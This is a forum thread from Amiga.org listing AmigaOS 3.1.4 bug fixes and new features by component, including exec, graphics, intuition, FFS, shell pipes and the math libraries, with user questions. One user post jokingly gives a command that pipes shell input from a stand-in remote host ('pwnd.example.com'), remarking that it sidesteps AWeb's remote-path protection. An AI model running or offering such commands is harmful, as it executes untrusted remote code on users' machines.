Amiga.org

Operating System Specific Discussions => Amiga OS => Amiga OS -- Application questions and support => Topic started by: guest11527 on October 05, 2018, 12:31:06 PM

Title: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 05, 2018, 12:31:06 PM
I'll reserve this thread for a list of bug fixes and updates that have been integrated into 3.1.4. For technical questions, please check the "Os 3.1.4 thread" instead. This thread discusses release notes.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 05, 2018, 12:43:51 PM
We'll probably start at the very core of the system - exec. Exec is the AmigaOs microkernel, responsible for initializing the hardware and administrating all its resources such as memory, libraries, devices.... and also responsible for task switching.

There are a couple of small tiny fixes in exec all around.

First, if you have a 060 processor, you no longer need an F-Space fix to turn off the FPU. Exec no longer crashes on a 060 FPU. Yet, you still need the 68060.library to enable it. This was to avoid incompatibilities.

The test for the ranger memory was broken and actually overwrote the memory contents, making it unsuitable for reset-resent programs. This got fixed.

If GetMsg() was called in a tiny loop, the 68060 would not allow to collect any interrupt and the system would deadlock. This was fixed, too. This was a patch previously included in SetPatch.

Exec now reserves 16K of chip memory for emulator business. You no longer need "PrepareEmul" or "MuMove4K" to run Shapeshifter and friends. If you need the 16K back, there is a utility on Aminet by now ("MoveLow") which restores the previous setting until the next reboot.

There was a problem with software failures during reboot which could deadlock the system. This was fixed, too.

ROMWack is back - the sad story of the "SAD" debugger is history now. ROMWack is the built-in ROM debugger. It is rather bare-bone. Connect a serial terminal at 9600-8N1, press DEL on a software failure, and you get a serial terminal to debug the code. For a better debugger - there is COP on the aminet.

Exec had some rudimentary support for "task trees" that never worked, and were never used by any program. All of this code was retired, and support for that and "ETasks" were removed. They were never used, never tested, were also incomplete, so it was just non-working dead code.

Exec in V39 changed the structure of memory pools. Unfortunately, some software depended on the internal undocumented structure, so the change was reverted and the memory pools are back to the state of 3.1, except that the bugs in 3.1 were fixed, i.e. FreePooled() had an issue. FreePooled() also changed slightly its policy of how puddles are handled to speed up the RAM-disk.

Also, AVL tree support was removed from exec since it really does not belong there. This was never used either (except for the 3.9 pools), so it went away as it was just dead code.

There are probably a couple of more tiny fixes I would need to look up but I do not remember right now.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 06, 2018, 11:06:12 AM
Let's continue with this list with a couple of small issues. Next in chain is expansion, which configures the hardware. Expansion had an issue when merging memory of several boards together to one single pool - this operation could have failed in a couple of situations. Expansion also copied one byte too much out of the config ROM (or config nibbles) of a board. We also put in a couple of speed brakes to keep the board hardware happy even on fast CPUs. On at least one beta-tester, this made an old A2091 working again.

Similar speed brakes went into the battclock.resource because fast CPUs were just too fast for the slow real time clock. This fixes issues especially with the vampire. Thanks to the vampire team for the report.

Then, we have utility, which also implements 32x32 divisions and multiplications, and a 32x32 to 64 bit multiplication. Especially the latter was bug-ridden and returned the result the wrong way around on 68000 processors, which was fixed. This multiplication is neither available on the 68060, so the code is now smart enough not to use it if a 68060 is found present.
Previously, there were at least two versions of utility, one for 68020 and up, and one for 68000, and the ROMs contained either of the two versions. Now we have a unified utility.library, and only one version, which keeps the build process simpler.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: NorthWay on October 06, 2018, 05:41:56 PM
Did you do anything with Deallocate()?
IIRC it will bork the memory list if the size parameter is wrong - it changes the list before sanity checking the size.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 06, 2018, 05:46:55 PM
Did you do anything with Deallocate()?
IIRC it will bork the memory list if the size parameter is wrong - it changes the list before sanity checking the size.
Nope, deallocate remained untouched. This looks more like a garbadge-in garbadge-out problem.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 10, 2018, 07:06:52 PM
More words about another components: The scsi.device. Actually, there is not "the scsi.device", but there are many: The scsi.device for the A600, one for the A1200, the A4000, the A3000, and the A4000T has even two of them. Some of them are identical, or closely related. They build from "a bunch of code", some of which is common to all the devices, some of them are specific to the model.

The V45 version fixes a memory allocation issue where one IORequest was allocated too short, thus trashing memory. Also, the device failed to check whether some of the memory allocations during startup succeeded. If they were not - quite unlikely, but possible - the device used the non-existing memory anyhow. It now runs into a controlled software failure.

There were, however, more serious shortcomings of the device: The device supports now LBA48 commands, and allows now to work with large (aka "modern") harddisks or storage devices. Clearly, it supports 64-bit commands. As in Os 3.9, it speaks NSD64, but (probably to Heinz' dislike) also TD64.

Also, ATAPI is supported by the SCSI.device now, and the INQUIRY simulation of the (not-)scsi (but ide) device now also supports CF cards. It previously reported a device class applications typically do not know how to handle.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: pawelek on October 10, 2018, 10:50:30 PM
"...Exec now reserves 16K of chip memory for emulator business. You no longer need "PrepareEmul" or "MuMove4K" to run Shapeshifter and friends..."

MuFastZero still requires MuMove4K :(
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 11, 2018, 06:20:10 AM
MuFastZero still requires MuMove4K :(
Yes, but for something different, not for keeping the first 16K RAM free for emulators. What happens there is that a memory pool is created solely for the purpose for keeping execbase in it, so it can then be remapped by the MMU. This is very specific to the mmu.library and its working.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 11, 2018, 09:17:41 AM
More updates ... on the graphics.library. This library is one of the old-age legacy components responsible for low-level graphics and rendering operations. Like the scsi.device, it existed in multiple versions: One for OCS and ECS models, and one for AGA. Stress on "existed" because there is now one unified graphics.library that handles both AGA, ECS and OCS just fine.

On the "small bugs fixed" list we have a bug in Flood() which did not work on screens larger than 1024 in any dimension since it only used 10 bit precision to keep the coordinates on the fill-stack, so a Flood() on a SUPERHIRES-screen would have caused strange effects. The FIRST_DOT flag in Complement-mode did not work correctly, an issue which was addressed back then by "PatchDraw" but is now fixed directly. Also, the line drawer made a lot of ping-pong calls between C and assembler - quite unnecessarily so. A couple of bugs were addressed in the Area calls, and this part of graphics also contained some dead code. Some of the bitmap blitter support functions did not work correctly on interleaved bitmaps, an issue that had been already fixed by SetPatch before.

Then, we have a tiny improvement in the "rectangle and region rectangle" handling, which is the graphics counterpart of the layers "cliprect" system for collecting damage and handling damaged regions. Why there are two independent systems for this nobody knows, but while layers kept a cache for cliprects to minimize memory fragmentation, graphics re-allocated its regions and region-rectangles one by one from global memory, throwing a fragmentation bomb at the system. Graphics does now use a pool for these low-level structures and recycles them to reduce the fragmentation. It also makes things slightly faster. ClearRegionRectangle() was also needlessly complicated and was replaced by a much simpler function. What is common to all these functions is that their former implementation did not behave nicely in case they run out of memory. Now it is guaranteed that the operations are "atomic", i.e. either they work completely, or the rectangles remain untouched. Previous versions of graphics could have left them in inconsistent state in case it run out of memory in the middle of an operation.

We also have all the "chunky to planar" conversion functions completely new from scratch. They partially used the blitter, so the CPU first had to perform the conversion to chip mem (which was slow) and then the blitter blitted it to the screen (which was slow). This was a good idea back then when the blitter was fast compared to the CPU, but this is no longer true, so the new implementation is CPU-only, optimized assembler. It is about twice the speed of the old code.

Last but not least, our beta-test team identified a really bizarre old-age bug of graphics that could trash memory (yes, really) if you switch from one monitor to another (e.g. HIRES to PRODUCTIVITY) and at the same time change the pointer resolution (from 35ns to 70ns) on AGA systems. Graphics in this case "pokes" (I cannot really call that any different) into the active copper lists without going through the copper abstraction layer, but unfortunately at the time graphics (triggered by intuition) attemps the poke, the copper lists are already gone. This was a nasty little bug which took quite a while to hunt it down.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: Dr_Procton on October 11, 2018, 06:20:10 PM
Really a good job guys! I'm on 3.1.4 100%
If updates will be steady (like the iconset), this 'll be the best thing on amiga ever! Thank you Thomas & Olaf!
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: F1Lupo on October 12, 2018, 12:52:23 AM
many many thanks Thomas ;D
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: Gryfon on October 12, 2018, 01:51:55 PM
Top news!  Loving my 3.1.4 installation and would like to thank everyone for their hard work in getting it done.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 12, 2018, 02:50:47 PM
The intuition library is a major change, but not even (to the major degree) my change. The problem with the original intuition.library is that it was compiled with a compiler that is no longer available, namely greenhill C. We only have SAS/C nowadays. Both compilers have advantages and disadvanages. SAS/C has registerized parameters (function parameters are passed in CPU registers), is more modern and speaks ANSI-C, and supports creating operating system components. Greenhill C is an old K&R C compiler with an optimizer that is better than that of SAS/C at times, but it supports only stack-based function calls and hence depends on "register ping-pong stub functions" between the Os function and the implementation. It also supported a neat trick where short structures (such as a rectangle) was passed directly rather than making a copy, a trick a couple of functions depended upon.

In 1993, the intuition greenhill C code was ported by Peter Cherna to SAS/C, which was a tremedous work because it required touching a lot of legacy K&R C functions to ANSI C and fixing (or providing) all the function prototypes. Greenhill C was very lazy about pointer correctness, so casts were missing all over the place, and parameters were passed in and out in a rather leeway approach.

Now, unfurtunately, two other players enter the playground, and these are P96 and CGFx. Due to their very nature, they depend on the register and stack allocation exactly as performed by the Greenhill compiler because they have to solve the problem that some features they need are simply not accessible through the official intuition interfaces. Just to name one: When allocating the bitmap of a new screen, they need to know how the memory is organized and which viewmode the memory should be used for, i.e. truecolor, hicolor, indexed, planar... but intuition does not deliver this data. So, they just grab the data from registers where it happend to lie around "by pure chance", left behind by the code compiled by Greenhill. Under SAS/C everything is different, and registers and the stack is used differently, so the hacky approach taken by both RTG functions do not work anymore.

For P96, it is known which parameters it expects where, so a "kludge" function in assembler just provides the missing data. "It is known" here means that there is a common subset of people that have access to P96 *and* the Os. For CGFx, this is not the case, so it remains completely unclear what exactly CGFx expects, which interfaces it needs and how we could provide them. We contacted Frank Mariak on the problem, and would be happy to provide intuition V45 to him to integrate CGfx into this release, and/or provide similar kludge functions or interfaces to make it work. Unfortunately, at this time not much happened yet, but we all hope that 3.1.4 will become successful enough to make it an attractive development target.

Now for my contributions: This is not really that much. One thing is that you can drag windows out of the screen. This is actually less than it may look because it is primarily a job layers has to do, and layers was already modified quite a while ago to support this service. Intuition was only modified to make use of this service, and its "window movement" functions where adjusted for testing the window bounds differently if the feature is enabled. This is by default on the workbench, but not on custom screens, but every constom screen can request it by a flag or a tag.

Second, a less known feature is that intuition now places windows under the mouse pointer in case the window does not indicate a target position and allows auto-adjustment of its position. Hence, if you open up a preference program or the workbench "execute" or "rename" dialog, then they will pop up under your mouse and not on the top-left edge of the window. This is hopefully more useful, and intuitive (well, wasn't that the purpose of intuition in first place?).

Other minor changes are that autorequests now allocate a larger stack - the previous stack was really tight and less than 256 bytes were left , which - if additional patches were in the sytem - caused stack overruns. The other fix was an off-by-one error in allocating the name of a public screen which could have crashed memory.

Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kreciu on October 12, 2018, 03:55:04 PM
I just want to say one thing. Thank you for all this technical explanations. This IS and will be great resource for the future. It is like a technical guide to AmigaOS3.x "guts" ;).
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 13, 2018, 06:27:59 AM
More new components. The FFS, fast file system. This is still the Amiga FFS, based on the same assembly code we had before, with a couple of bugs fixed here and there, and with a couple of new features. First, some bug fixes: The computation of the size of the bitmap contained an off-by-one error, which triggered in rare cases a run of the disk-validator every time the FFS was booted. There are now additional size checks for the size of the volume name.

Concerning file name sizes: The FFS supports now two new "flavours", namely DOS\06 and DOS\07, which support "long file names" using the same layout as in AOS 4. File names can now be 106 characters long. This means in worst case that the FFS needs to allocate an extra block for holding the comment as well, which required additional logic.

Another new feature is that the FFS speaks TD64, NSD and SCSI natively, there is no longer the need for NSDPatch as the FFS is in most cases capable to figure out the command set itself. Hence, if you run a hostadapter based on the omniscsi, or the oktagon, or phase5 boards, large partitions and large harddrives are no longer a problem. Just a small warning: If you make your partitions large, it is advisable to also enlarge the block size - I suggest 4K blocks for flash based media - as otherwise the bitmap grows too large and thus slows booting the system down as it first goes through a minimal validation step that requires to hold the entire bitmap in memory. Furthermore, 4K blocks also help wear-leveling of the flash disk as they organize their internal memory also in larger pages than the usual 512 byte size.

SCSI transfer need to be enabled manually, but the HDToolbox can do that for you. Or the mount option "DirectSCSI=1" if you mount manually.

Concerning mount options, there are two new: "EnableNSD" enables usage of the NSD command set, which is "on" by default, but can be turned off in case the firmware of the hostadapter has problems with it, and "Superfloppy", which allows automatic sizing on removable media. Say, if you have a ZIP drive that supports both 100MB and 250MB media, *do not* put an RDB on it, mount it with "Superfloppy=1" and the FFS will figure out the drive geometry itself, and will resize the drive geometry itself, same as it does when switching between HD and DD disks.

Last but not least, there is one "hidden" feature we do not support officially, and this is DOS\08. Nobody remembers how, but Os 3.9 already supported it, albeit incompletely. It is an FFS variant that supports long file names limited to 54 characters, but that is backwards compatible to the older flavours of the FFS such that you can easily upgrade from DOS\03 to DOS\08, gain additional length, but do not need to reformat. Unlike the Os 3.9 variant, this version works, however. We still do not support it officially as diskdoctor (another story for another article) does not support it, but it is otherwise in fine working condition.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: stx on October 15, 2018, 12:41:54 PM
Now for my contributions: This is not really that much. One thing is that you can drag windows out of the screen. This is actually less than it may look because it is primarily a job layers has to do, and layers was already modified quite a while ago to support this service. Intuition was only modified to make use of this service, and its "window movement" functions where adjusted for testing the window bounds differently if the feature is enabled. This is by default on the workbench, but not on custom screens, but every constom screen can request it by a flag or a tag.

What is the best way to detect if this feature is enabled or not? Using the library version or checking this flag?

Is there any documentation or updated include files on this?

Steve

Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 15, 2018, 02:05:58 PM
What is the best way to detect if this feature is enabled or not? Using the library version or checking this flag?
The flag is enabled by default for the workbench, and disabled for all custom or public screens. You can set it in OpenScreen() and friends. Yes, we need to publish an SDK on this. The flag is the same flag and the same name as in Os 4, so you can also check there right now.

Otherwise, there should be no need to check this after the screen has been opened. What do you need this information for?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: HammerD on October 15, 2018, 02:22:04 PM

For P96, it is known which parameters it expects where, so a "kludge" function in assembler just provides the missing data. "It is known" here means that there is a common subset of people that have access to P96 *and* the Os. For CGFx, this is not the case, so it remains completely unclear what exactly CGFx expects, which interfaces it needs and how we could provide them. We contacted Frank Mariak on the problem, and would be happy to provide intuition V45 to him to integrate CGfx into this release, and/or provide similar kludge functions or interfaces to make it work. Unfortunately, at this time not much happened yet, but we all hope that 3.1.4 will become successful enough to make it an attractive development target.

Hi Thomas, is it safe to say then at present CGFx is not compatible with OS 3.1.4 and should not be used until a fix is released?

Darren
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: stx on October 15, 2018, 02:25:08 PM
What is the best way to detect if this feature is enabled or not? Using the library version or checking this flag?
The flag is enabled by default for the workbench, and disabled for all custom or public screens. You can set it in OpenScreen() and friends. Yes, we need to publish an SDK on this. The flag is the same flag and the same name as in Os 4, so you can also check there right now.

Otherwise, there should be no need to check this after the screen has been opened. What do you need this information for?

I'm updating the DragIt tool (see on Aminet) after a pause of 25 years! Currently I use the library version in order to detect out of screen window. I was just wondering if there was a better way to detect this feature and act accordingly.

Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 15, 2018, 04:47:06 PM
Hi Thomas, is it safe to say then at present CGFx is not compatible with OS 3.1.4 and should not be used until a fix is released?
No. CGfx is compatible to 3.1.4, but not to intuition V45. Intuition V45 is a bonus feature you have to install separately. It is not in the official ROM.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 15, 2018, 05:04:45 PM
One of my favourite play grounds is of course the shell. Since I bumped the version number, there must be something new. The new feature is that pipes are built-in, you no longer need support from external commands. This sounds like a minor change, but the big advantage is that any such external command does not have to repeat parsing the rather obscure shell syntax. The shell does it all itself. In particular, this goes for all the strange rules on backticks, asterisks and quotes that are easy to get wrong.

The pipes require support from the Queue-Handler, which is included in 3.1.4 as a handler that need to go to L: and that has to be mounted on startup. Be aware that you need to use this particular pipe handler, and not any of the alternatives you find in Aminet. The Queue-Handler in 3.1.4 is completely new from scratch and in no relation to the CBM implementation or any of the versions on Aminet that all have their little problems. The most prominent problem is handling of "break", i.e. if you abort one of the ends of a pipe. Queue-Handlers typically forget to also terminate the other end of the pipe then, causing CPU hogs or other problems. So make sure you get the right handler.

The syntax is as it used to be: A "|" connects the output of the left program to the input of the right program, such that for example
Code: [Select]
list | more
pipes the output of list through the pager. Additionally, we have "||" as command, which concatenates the output of the programs to the left of the double-bar to the program on the right, creating a new common stream.

Last but not least, there is one new built-in command, and that is (. No, no typo, the name of the command is really an opening bracket. It takes ) as last argument and executes all commands within brackets in a sub-shell. This sounds curious, but has its use in combinations such as
Code: [Select]
(list || dir) | more
which concatenates the output of list and dir, and then sends it to the pager.

Pipes have other uses, of course. For example, the commands "sort" and "search" also operate in pipes, such that
Code: [Select]
list | sort
gives a sorted output of list. There is no new option required for list for doing it - the existing commands are sufficient. Similarly, "search" in a pipe looks for a particular string coming through the pipe, and if so, prints it.

A couple of features had to wait as they came in too late. In my private experimental version, there is also a variant of the execute command that can also read its input from the pipe, such that
Code: [Select]
list lformat="...." | execute
executes a command sequence constructed by "list" without requring a temporary file.

Also, TAB expansion had to wait. There is a little bit of experimental code around, here and there, and a design as well that works very different from the currently existing hacks. In particular, I dislike the idea that the console has to do the expansion, because it (again) has to parse the pesky shell syntax - and getting this parsing right is non-trivial. So the shell shall do it, and this is precisely the idea. One way or another, it does require modifications to the console and also the shell, and we run out of time.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: NinjaCyborg on October 15, 2018, 05:35:56 PM
Does SuperFloppy mode also work with FAT formatted USB sticks, ZIP drives, memory cards and so on (assuming one has a USB stack or whatever)?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 15, 2018, 06:25:21 PM
Does SuperFloppy mode also work with FAT formatted USB sticks, ZIP drives, memory cards and so on (assuming one has a USB stack or whatever)?
Yes, but in a sense CrossDOS never had this issue to begin with. FAT formatted media always carry a boot block around that supplies this information, or a partition table. For this, CrossDOS supports two "flavours". One is the DosType "MSD\0" which identifies "super floppies" where the boot block is used to determine the size of the medium. You can also enable this mode with "SuperFloppy=1". The other one is the "partition mode" where the DosType is set to "MSH\0" and the last character of the mount name determines the partition. If the last character is a "C" it is the first partition, "D" is the second partition and so on.

So while "SuperFloppy" is supported, tthere was never really a need to for CrossDos.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: nbache on October 15, 2018, 08:32:38 PM
@ThomasRichter:

Quote
A couple of features had to wait as they came in too late. In my private experimental version, there is also a variant of the execute command that can also read its input from the pipe, such that
Code: [Select]
list lformat="...." | executeexecutes a command sequence constructed by "list" without requring a temporary file.
Neat!

In OS4, I can do the same with
Code: [Select]
list lformat="..." | execute IN: - can the 3,1,4 (non-experimental) one also do that?

(I don't run any 3.x systems any more, so I'm just asking out of academic interest).

Best regards,

Niels
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: NinjaCyborg on October 15, 2018, 10:13:50 PM
I'n a bit rusty on my shell power usage but I recall IN: and OUT: being options I used to use in OS2 and 3, not sure if they were part of WShell or provided by the Andy Finkel Pipe implementation, or one of the other shell alternatives.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 15, 2018, 10:37:02 PM
In OS4, I can do the same with
Code: [Select]
list lformat="..." | execute IN: - can the 3,1,4 (non-experimental) one also do that?
There is no "IN:", but there is no need doing that in first place, at least for this version of execute. It reads more naturally without that. "Type" would be another command where piping would help but which I have not really looked into. It is a straight foreward modification.

To make "IN:" and "OUT:" work, you would only need to write a handler for it or have the queue-handler handle it. This is not rocket science either, but I rather believe that a better approach is to modify commands such that they support piping in a more natural way in first place as "sort" and "search" already do nowadays.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on October 16, 2018, 10:22:22 AM
Intuition was only modified to make use of this service, and its "window movement" functions where adjusted for testing the window bounds differently if the feature is enabled. This is by default on the workbench

So how does one turn it off?

Without being able to resize windows to become larger than screen (for example stretch a console wider to make sure C:Ed isn't hiding linefeeds), I see zero use in moving windows off-screen.
I have yet to see any description of how one can possibly move&resize a window in a way so that control gadgets become unavailable, and I find it rather frustrating to be limited by some made up use-case that only affects Windows users (as windows is the only earlier system I have ever heard of, or used, that suffers from this limitation.)
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: NinjaCyborg on October 16, 2018, 10:28:28 AM
If you can't move the mouse off the screen, then there's no way you can ever move a window's title bar gadget completely off the screen, so it's not an issue, unless using that chap's app where he lets you drag from anywhere in the window then it could be. On Windows you have windows that can be dragged and resized in many different ways like keyboard shortcuts and resizable borders.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on October 16, 2018, 10:34:43 AM
Code: [Select]
list lformat="...." | execute
executes a command sequence constructed by "list" without requring a temporary file.

So these are (will/would be) equivalent then?
Code: [Select]
type s:user-startup | execute
and
Code: [Select]
execute s:user-startup

I find it a little non-intuitive though, I would have expected this to work
Code: [Select]
list s:myscripts/#?.script lformat "%p%n" | execute

but from what I gather, it must be like this...
Code: [Select]
list s:myscripts/#?.script lformat "execute %p%n" | execute
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: NinjaCyborg on October 16, 2018, 10:35:47 AM
if the +s bit is set on those scripts then the execute is implicit, no?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: nbache on October 16, 2018, 10:36:31 AM
Quote
unless using that chap's app where he lets you drag from anywhere in the window then it could be.
And if you do, you can also use it to get the window back.

This feature, BTW, is built-in in OS4 (hold Ctrl+Amiga and drag from anywhere in the window, except string gadgets with focus).

Best regards,

Niels
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: nbache on October 16, 2018, 10:41:59 AM
Quote
So these are (will/would be) equivalent then?
Code: [Select]
type s:user-startup | executeand
Code: [Select]
execute s:user-startup
That would surprise me. Execute takes a file name as argument, while type outputs a stream of text.

Best regards,

Niels

Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on October 16, 2018, 10:49:23 AM
If you can't move the mouse off the screen, then there's no way you can ever move a window's title bar gadget completely off the screen, so it's not an issue

Exactly - and there are indeed limitations for window title bar, you cannot move it off-screen on the top of the screen, at all.

Quote
unless using that chap's app where he lets you drag from anywhere in the window then it could be.

I would very much like to see this feature implemented in Intuition.library too, just like how it is already there for screens.

Quote
On Windows you have windows that can be dragged and resized in many different ways like keyboard shortcuts and resizable borders.

Yes, and such things should also get in there :)
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on October 16, 2018, 10:58:31 AM
Quote
So these are (will/would be) equivalent then?
Code: [Select]
type s:user-startup | executeand
Code: [Select]
execute s:user-startup
That would surprise me.

Exactly, me too.

Quote
Execute takes a file name as argument, while type outputs a stream of text.

Right, which is why I would like to see a clarification, probably I have just misunderstood.

All-though, an OS command that can take a list of commands via a pipe from standard-in and run them, would be great too.
(http://aminet.net/package/util/shell/EArg can do it, and a bit more)
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 16, 2018, 01:54:18 PM
That would surprise me. Execute takes a file name as argument, while type outputs a stream of text.
Then feel surprised. Several commands switch their command line arguments depending on their usage. Actually, this is not at all new and has already been this way in 3.1, even though probably only few people know. These commands are (currently) "sort", "search" and "more". There may be more in the future. "Execute" is a candidate, and "Type" is a candidate, too. Not as of 3.1.4, of course.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 16, 2018, 02:01:19 PM
So these are (will/would be) equivalent then?
Code: [Select]
type s:user-startup | execute
and
Code: [Select]
execute s:user-startup
Yes.

I find it a little non-intuitive though, I would have expected this to work
Code: [Select]
list s:myscripts/#?.script lformat "%p%n" | execute
As long as the S-bit is set for the scripts, yes, of course. It executes all the scripts the list command finds. If the s bit is not set, the scripts cannot be executed. Just remember: You are building a file (a pipe) that contains a script name on each line. This goes into the shell (execute really does not do much in this case, it just redirects the stdin of the shell). So the shell sees a file with one command per line. What does it do? Well, the usual thing. It tries to find the commands on the lines. If the S bit is set, there is an implicit execute, so it executes them. If the S bit is not set, it tries to locate the file elsewhere (namely in the path), and if it does not find it, it will error.


but from what I gather, it must be like this...
Code: [Select]
list s:myscripts/#?.script lformat "execute %p%n" | execute
That will also work, and unlike the above, does not require the S bits of all the skripts to be set.

Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: nbache on October 16, 2018, 06:54:29 PM
Then feel surprised. Several commands switch their command line arguments depending on their usage.[/quote]Hehe ... yeah, I did actually consider something like that after having posted. And of course it is also known in *n*x.

Best regards,

Niels
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 17, 2018, 12:41:25 AM
To the next components: workbench and icon.library. If you look on the ROM contents, you will find two components that are called like this. However, they are not really the libraries, but loaders. Hence, if someone opens one of the libraries, what the ROM really does is that it loads the corresponding component from disk. The A4000T already did something similar, though the corresponding component was called "wbfind".

So, two questions, maybe:
*) Why is this done in first place? After all, the "ramlib" Os component is already responsible for loading components from disk, so why a new component for that?
*) Why is it done differently than in the A4000T?

For the first: ramlib unfortunately only looks in the ROM, and in LIBS:, but this is probably not enough. We want also have the option that the user can re-insert the "Install" disk and get the workbench library from there, to have a bootable system in all cases.

For the second: The A4000T "wbfind" component worked differently. Instead, it installed a patch in OpenLibrary() such that OpenLibrary also looked in different paths, and then removed the patch as soon as the workbench was loaded. This sounds trivial enough, but causes a problem in case the startup-sequence installs by itself something into OpenLibrary(). Then, if wbfind removes its patch, it typically also removes any other patch that was installed in the startup-sequence, and that is something that causes certainly a surprise. A typical "victim" of wbfind on the A4000T is BetterOpenLibs. One reason more for avoiding patches whenever possible.

Probably some words on ramlib itself: There are also some (minor) changes. First of all, ramlib no longer uses SIGF_SINGLE for its own process communication. This is because some LibInit() functions of disk-based coponents use this bit itself. Second, the stack size of ramlib has been extended to give such libraries a bit more "headroom".

Finally, why all this in first place: First, because there is simply not enough ROM space. Once could, in principle, base this on the machine type which of the two libraries are in ROM and which which is RAM, but this complicates deployment a lot, and also reduces testability as - in any support case - one would need to ask which ROM type is deployed. So keep it simple and use the same configuration for all ROMs.

Second, and this is probably more important: It is easier to update the two components without touching the ROM. In fact, I would have preferred to remove other components from ROM, such as the audio.device, the mathffp.library and mathieeesingbas.library. None of them are required to bootstrap the system, and it would have made upgrading them easier as well.

Not this time, though. We probably do that later, as Olaf was afraid that some third party firmware may depend on them. We may get more experimental later. For workbench and icon, we had at least some experience that this does not do harm.

Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on October 17, 2018, 11:06:23 AM
I am looking forward to this working...
Code: [Select]
Execute < TCP:pwnd.example.com/1234
It simplifies a lot of things, such as working around AWeb's protection against "remote paths" (it considers TCP: a local device) :)
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 18, 2018, 03:35:29 AM
Math stuff. Yes, there are new math libraries (again). Two of the math libraries are unfortunately in ROM. mathieeesingbas and mathffp. For reasons beyond me, mathieeesingbas was even initialized during bootstrap, even if it was not needed. This had several bad side effects, such as having a non-FPU version of the library on the 68060 as the library became active before SetPatch, so the 68060.library had to clean up behind it. Another problem was that there were again multiple versions of the same library, i.e. with different build options depending on the target model. Now, there is one unified code per library, and not multiple.

As far as mathffp is concerned, the library run (on purpose) into a division by zero exception in case someone wanted to devide a floating point value by zero. This is, however, not like floating point should work. Instead, it should return INF or -INF. Now, mathffp does not have either, so instead HUGE_VAL or -HUGE_VAL is returned. Then again, mathffp is not very suitable for numerics in first place as it does not have denormalized numbers either. The whole documentation for mathffp was quite opaque, too, as it for example claimed that FFPSub() subtracts one argument from another (so far, so clear), but not which argument from which. For some strange reason, the arguments were documented the wrong way around compared to the IEEE version, causing even more confusion. So this was cleaned up - the documentation namely. The RAM counterpart (mathtrans) was only mildly extended to use a larger Cordic table for log and exp such that results are a bit more precise. Yet, the whole mathffp/trans library collection fails any serious test about numerical stability, so just avoid, avoid, avoid...

mathieeesingbas I already talked about. There is one additional trick the IEEE libraries learned. Similar to "jumpy, the magic timer device" we have now also "jumpy, the magic math libraries": That is, if at some point after initialization of the math libraries the FPU becomes available, the math libraries re-initializes themselves and switch to the FPU code. And vice versa. There is still support for the fpsp.resource which comes with the MuLib libraries, so that did not change.
mathieeesingtrans did not change, except that it was a major headache to compile it, given that the SAS/C compiler actually does not support single precision IEEE math. This is probably the topic of another episode as it required major magic and trickery.

mathieeedoubbas and singbas only changed in so far as they configure the FPU slightly different, namely "extended precision, round to zero". The results of the computation are still the same as the last operation in each call to the math code still implies a rounding to double or single precision, but the advantage of the different rounding mode is that a task can open both libraries simultaneously without a conflict, which was not possible before. You had either to use single or double precision, but could not mix (safely, without much additional trickery). "round to zero" is not a very sophisticated rounding mode, though it fits to the CPU implementation of the math libraries and is hence consistent. Probably not quite ideal, though.

mathieeedoubtrans I do not recall any change.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: Minuous on October 18, 2018, 06:05:38 AM
So this was cleaned up - the documentation namely.

Does that mean there will be a 3.1.4 NDK released at some point? (Otherwise there doesn't seem much point in updating autodocs if no one will see the changes.)
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 18, 2018, 02:24:36 PM
Does that mean there will be a 3.1.4 NDK released at some point? (Otherwise there doesn't seem much point in updating autodocs if no one will see the changes.)
Yes, indeed, this is the plan. There are not too many changes anyhow.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 24, 2018, 06:26:51 PM
